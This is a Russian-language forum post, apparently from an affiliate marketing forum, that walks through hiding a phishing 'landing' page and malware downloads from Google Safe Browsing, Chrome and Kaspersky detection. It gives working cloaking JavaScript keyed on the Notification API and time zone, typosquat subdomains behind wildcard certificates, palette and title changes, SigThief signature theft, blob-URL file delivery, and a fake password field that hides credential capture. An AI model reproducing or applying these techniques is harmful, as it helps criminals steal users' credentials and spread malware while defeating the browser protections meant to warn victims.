Deceptive site ahead: Как спасти ваш лендинг от красного экрана счастья?

  • Автор темы Maria
  • Дата начала
  • Ответы 0
  • Просмотры 1.452
Maria

Maria

Sales-manager
FB-killa team
FB-killa Plus
Регистрация
21 Окт 2020
Сообщения
1.348
Реакции
838
Источник

f447073aa67bc4dead903.png


1. Что такое Google Safe Browsing?​

Google Safebrowsing состоит из четырех частей:
  • встроенный в хром механизм определения фишинга на основе совпадения цветовых палитр и частей доменов ранее посещенных сайтов.
  • механизм проверки url-адресов и хешей файлов на совпадение по предзагруженной базе укороченных хешей, хранящихся локально.
  • механизм распаковки большинства типов архивов, и проверки хешей исполняемых файлов и хешей их секций по локально хранящейся базе.
  • краулер, который получает адреса скачанных файлов, проходится по ним, выкачивает и передает на сервера google для анализа их антивирусным движком, с использованием сервиса VirusTotal.

2. Нам нужен новый домен​

Домену нужно дать отлежаться хотя бы неделю, т.к. зарегистрированным вчера доменам гугл не доверяет совсем. Имя домена не должно содержать:
  • брендовые слова
  • брендовые слова с опечатками
  • имена доменов, которые пользователь посещал ранее, такие как dhl, telegram, hsbc и им подобные.
Для примера возьмем домен 4bi.us.

3. Нам нужен ssl-сертификат для домена​

Для этого привяжем домен к cloudflare.com. Все ssl-сертификаты при создании попадают в специальный фид, называемый certificate transparency log. Этот фид постоянно мониторят антивирусные компании. Посмотреть на него самим можно например здесь: Certstream. По-этому все сертификаты, выданные для доменов, содержаших брендовые слова или брендовые слова с опечатками моментально попадают в поле зрения антивирусных компаний, и ваш фишинг, размещенный на домене с опечаткой будет моментально помечен как вредоносный. Таким образом мы не можем заказать сертификат для брендового домена с опечаткой. Однако, cloudflare дает нам возможность бесплатно заказать wildcard сертификат. Это сертификат для всех сабдоменов домена, без указания конкретного имени сабдомена. Таким образом наш сабдомен с опечаткой в имени не будет замечен антивирусными компаниями.

Вот как запись для wildcard-домена выглядит в настройках dns домена в cloudflare:

4a734c8fde9dd2eca3381.png

здесь 122.1.1.231 - ip-адрес нашего сервера
Теперь наш лендинг будет доступен, например, по адресу telegrarn.4bi.us.

4. Спрячем лендинг от краулера GSB​

Краулер GSB (как и краулер GoogleAds) сделан на основе чистого движка Google Chrome с минимальными изменениями. Он запускается в headless-режиме и управляется через webdriver-протокол. По ip-адресу пытаться блокировать его бессмысленно, т.к. он использует прокси-сервера с домашними адресами. Но в headless-режиме у десктопной версии браузера Chrome выключается поддержка Notification API. По наличию поддержки этого api мы определим краулер и покажем ему белый сайт вместо вредоносного.

Для начала мы создадим белый сайт-обманку. Купить готовый белый лендинг для клоакинга можно за копейки в боте WhiteGen Bot.

Предположим, стартовая страница нашего фишинга называется index.php. Переименуем ее в home.php, а в тело страницы index.php положим код чистой (белой) страницы лендинга, созданной с помощью телеграм-бота.

Теперь код стартовой страницы index.php выглядит примерно так:

23a0b77c3017bab699615.png


Чтобы пользователи видели не белый сайт, а нашу фишинг-страницу, добавим в head-секцию нашей стартовой страницы index.php следующий html-код:

<script>

home = 'L2hvbWUucGhw';

zones = /Madrid|Canary|Vienna|Istanbul/gi;

timezoneOffset = zones.test((new Intl.DateTimeFormat).resolvedOptions().timeZone);

self.Notification&&timezoneOffset&&fetch(atob(home)).then(

function(r){return r.text().then(function(t){document.write(t)})}

);

</script>

В этом коде мы делаем следующее:
  • в переменной home мы спрятали адрес фишинг-страницы (home.php), закодировав его в base64 (например на сайте base64encode.net). Это необходимо потому, что краулер GSB извлекает из загружаемых им файлов все ссылки и пытается их скачать и проанализировать.
  • для порядка мы отсекаем лишних пользователей на основе часового пояса, используемого их системой. Это не критически важный ход, но он убережет наш фишинг от лишних глаз. Вот таблица названий часовых поясов для интересующих нас стран: en.wikipedia.org/wiki/List_of_tz_database_time_zones. Если мы хотим лить на лендинг трафик, например, Германии, то заменим строчку zones = /Madrid|Canary|Vienna|Istanbul/gi; на строчку zones = /Berlin/gi; и таким образом отсечем всех пользователей (и краулеры) с другим часовым поясом, выбранном в настройках их системы.
  • последним шагом мы проверяем поддержку notification api и, если у пользователя выбран подходящий нам часовой пояс, мы скачиваем содержимое файла home.php и замещаем его содержимым содержимое текущей страницы index.php.
Теперь код нашей стартовой страницы index.php выглядит примерно так:

5b39e444215510ca4f194.png

А все подходящие нам пользователи видят наш злой лендинг:

3e8ca97c5b915dd63909c.png

Отлично. Идем дальше.

5. Перекриптуем все js-файлы из нашего прошлого лендинга​

Краулер google проверяет и запоминает все js-файлы со страниц, определенных как вредоносные. По-этому перед началом работы нам обязательно нужно обфусцировать заново все js-файлы нашего лендинга. Для этого можно воспользоваться любым из многочисленных javascript-обфускаторов, например JavaScript Obfuscator Tool.

6. Изменим цветовую палитру нашего лендинга​

В браузер Chrome встроен механизм определения фишинговых сайтов на основе совпадения суммы всех пикселей страницы каждого цвета с палитрами сайтов, посещенных пользователем ранее. Изменить палитру цветов нашего лендинга мы можем в одну строчку javascript-кода, которую необходимо поместить в js-файл, загружаемый из <head> секции страницы home.php, для того, чтобы она была выполнена раньше, чем загрузится тело страницы. Вот эта строчка:

document.documentElement.style.cssText="filter:hue-rotate(4deg)";

Добавим ее в любой javascript-файл из <head> секции страницы, например в jquery.js:

9c42507c99387a8f622c0.png

7. Изменим оригинальный <title> страницы лендинга на любой другой​

Антивирус Kaspersky проверяет совпадение содержимого тега <title> страницы с содержимым <title> страниц, посещенных пользователем ранее. Заменим, например:

d1a933aad298982532325.png

на любой другой текст:

be477a4baafdd201438c8.png

8. Если с вашего лендинга скачивают файл​

Адреса всех скаченных браузером Chrome файлов отправляются в google, и затем по этим адресам приходит краулер GoogleSafeBrowsing, скачивает файлы и анализирует их своим собственным антивирусным движком и на платформе virustotal.com. Хеши опасных файлов и секций исполняемых файлов хранятся в браузере Chrome локально. По-этому прежде всего нам необходимо использовать чистый файл. Так же хром будет блокировать скачивание файла, если:
  • В его имени содержатся брендовые слова. По-этому мы не можем дать файлу имя, например, FireFox_Installer.exe, а будем использовать нейтральное имя, например Installer.exe.
  • Если скачивание файла не инициировано кликом пользователя (именно пользователя - метод .click() с помощью javascript нам не подходит)
  • Если тип файла - исполняемый (или архив с файлом содержит исполняемые файлы), и при этом домен, с которого скачивается файл, не был посещен пользователем в последние 24 часа.
  • Если тип файла - исполняемый (или архив с файлом содержит исполняемые файлы), и при этом файл не имеет цифровой подписи (хотя бы невалидной).
Для общего ознакомления в исходном коде браузера Chromium можно прочесть по каким параметрам браузер определяет опасность файла : https://source.chromium.org/chromiu...;drc=591c5c478112625a5da995afeeb6566429c04ef9.

Какие файлы Chrome считает исполняемыми можно посмотреть вот здесь: https://source.chromium.org/chromiu...;drc=af17ad3f07c1d8a24381eb7669bec0c2ffb86521.

Сначала с помощью утилиты SigThief мы приклеим к нашему файлу любую цифровую подпись, взятую с любого подписанного выполняемого файла.

Чтобы предотвратить скачивание нашего файла краулером google, нам необходимо:
  • отказаться от использования статичных адресов файла
  • убрать из кода страницы адрес файла в чистом виде
  • отдавать файл пользователю через эфимерный blob-url
Предположим наша кнопка для скачивания файла выглядит вот так:

8b0e7c2102418296fb43f.png

Уберем из нее прямой адрес файла, например закодировав его в base64 любым из base64 энкодеров (например base64encode.net) и добавим для кнопки любой id, чтобы зацепиться за нее в javascript:

f761b1586375accaf4cde.png

Теперь в наш .js файл (в нашем примере это jquery.js) добавим код, который дождется полной загрузки DOM-дерева страницы и у всех ссылок с id="clickbtn" заменит адрес файла на временный blob-url:

document.addEventListener('DOMContentLoaded',function(e) {
document.querySelectorAll('#clickbtn').forEach(function(a,url) {
url = atob(a.href.split('/').slice(-1)[0]);
fetch(url).then(function(r){return r.blob()}).then(function(blob){
a.href = URL.createObjectURL(blob);
a.download = url.split('/').slice(-1)[0];
});
});
});

Теперь наш файл с javascript-кодом будет выглядеть примерно вот так:

d3a5ad819a86d89b49cc5.png


Теперь обфусцируем этот код с помощью obfuscator.io:

fe24beee4d413f1d53b43.png

Великолепно.

Пожалуйста не забывайте, что даже если архив с файлом защищен паролем, браузер Chrome все равно может видеть имена файлов в архиве, и понять, что архив содержит исполняемые файлы.

9. Если на вашем лендинге есть форма ввода пароля​

Это уже сложнее. Прежде всего, Chrome заранее относится с подозрениям к html-страницам, содержащим поле ввода пароля или слово password на любом языке.

Сначала избавимся от слов password на странице. Псевдо-элементы в css, такие как ::before или ::after не учавствуют в представлении DOM-дерева страницы и идеально подходят для нас. Уберем слово password из кода страницы, и выведем его с помощью css. Предположим, что наше слово password в коде страницы выглядит вот так:

bb3cdc93fd1a7d12a44f7.png

Уберем его, а на его место поставим любой строковый элемент с любым классом. Например span с классом pass:

03c6eeda72fa088a9e26b.png

Теперь в любое место html-кода нашей страницы добавим следующий html-код:

<style>

.pass::before {content:"pass"}

.pass::after {content:"word"}

</style>

В данном случае мы разбили слово password на две части и внутри блока стилей. И вот результат:

03457730f041668ed2260.png

45d91320293625dbfab0d.png

Избавимся от поля ввода пароля, заменив его на обычный <input type="text">.

Предположим, наше поле ввода пароля выглядит следующим образом:

544d07d8f2a334bc5b168.png

Заменим его на следующий код:

<div class="wrapper">
<input type="text" id="dots" class="form-control input ext-input text-box ext-text-box">
<input type="text" name="passwd" id="i0118" class="form-control input ext-input text-box ext-text-box">
</div>

9dc2e7295829ba9776535.png

Мы заменили тип поля для ввода пароля с password на text, затем перед ним добавили такое же текстовое поле ввода с id="dots", и обернули оба поля в отдельный слой. Это необходимо чтобы изобразить натуральное поле ввода пароля. Первый input будет содержать только символы ●, изображая символы пароля по мере их ввода пользователем. Второй input будет наложен сверху на первый, иметь нулевую прозрачность, и передавать все набранные символы в первый input. Мы так же скопировали все классы от input с паролем в классы элемента input с жирными точками, чтобы сохранить оригинальное оформление. Теперь позаботимся о наложении второго поля для ввода на первое. Добавим в код нашей страницы следующие стили:

.wrapper {position:relative;}
.wrapper input[type=text] {position:absolute!important}
.wrapper #i0118 {opacity:0!important}

где в нашем примере #i0118 - это id оригинального поля для ввода пароля. Теперь наш css-код выглядит вот так:

7ab4206763fff8319ce65.png

В приведенном выше коде значение position:relative у блока с классом wrapper необходимо чтобы позиционировать внутренние блоки абсолютно к родительскому элементу.

Теперь оживим поля ввода с помощью javascript. Добавим следующий код в любой из подключенных .js файлов (или прямо в тело страницы, предварительно обернув его тегом <script>):

document.addEventListener('DOMContentLoaded', function(e) {
i0118.onfocus = function(e){dots.value=dots.value||'|'}
i0118.onkeyup = function(e){dots.value=i0118.value.replace(/./g,'●')+'|'}
});

В приведенном выше коде i0118 - это id оригинального поля для ввода пароля, а dots - это id поля, изображающего пользовательский ввод. Теперь наш js-код выгдялит следующим образом:

5a3eb6a44e27ad976f865.png

Если вы включали весь код в тело страницы, то теперь она выглядит примерно так:

15bd4e1d9b10b121d756a.png

И вот наш итоговый результат:

c5622f471fcad6ca50ba4.png

Поиграть с живым примером кода можно на jsbin.com: JS Bin
322212d82b255c0975690.png

Отлично. Мы избавились от всех упоминаний слова password на странице, и убрали поле ввода пароля.

10. Готово.​

Теперь, если мы проделали все шаги правильно, наш лендинг в полной безопасности:

ba4c43c6ee852d6d4901a.png
 
Назад
Верх